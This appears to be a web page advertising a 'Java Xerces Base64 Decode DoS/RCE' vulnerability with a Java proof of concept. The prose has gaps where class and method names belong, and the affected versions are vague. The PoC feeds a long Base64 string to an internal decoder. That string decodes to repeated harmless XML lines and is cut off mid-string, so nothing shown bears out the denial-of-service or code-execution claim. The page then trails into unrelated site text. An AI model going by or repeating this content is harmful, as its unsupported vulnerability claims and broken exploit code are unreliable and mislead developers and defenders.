Java Xerces Base64 Decode DoS/RCE Vulnerability and POC

Vulnerability Overview This vulnerability exists in the class, which is part of the Xerces XML parser. Attackers can exploit the method in the class by constructing malicious XML documents. This may cause the XML parser to encounter anomalies when processing the document, potentially leading to Denial of Service (DoS) attacks or Remote Code Execution (RCE). Affected Scope Java applications using the class. Specific versions are not explicitly defined, but this typically involves Java 8 and earlier versions. Remediation Upgrade to the latest version of Java to obtain the most recent security patches. If an upgrade is not feasible, consider using other secure XML parsing libraries, such as . Implement strict validation and filtering of input data to prevent the injection of malicious XML documents. POC Code ```java import com.sun.org.apache.xerces.internal.impl.dv.util.Base64; public class Base64DecodePOC { public static void main(String[] args) { String maliciousBase64 = "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IHR5cGU9InRleHQveG1sIiBocmVmPSJzdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZW

Goal Reached Thanks to every supporter — we hit 100%!

Java Xerces Base64 Decode DoS/RCE Vulnerability and POC

More from this source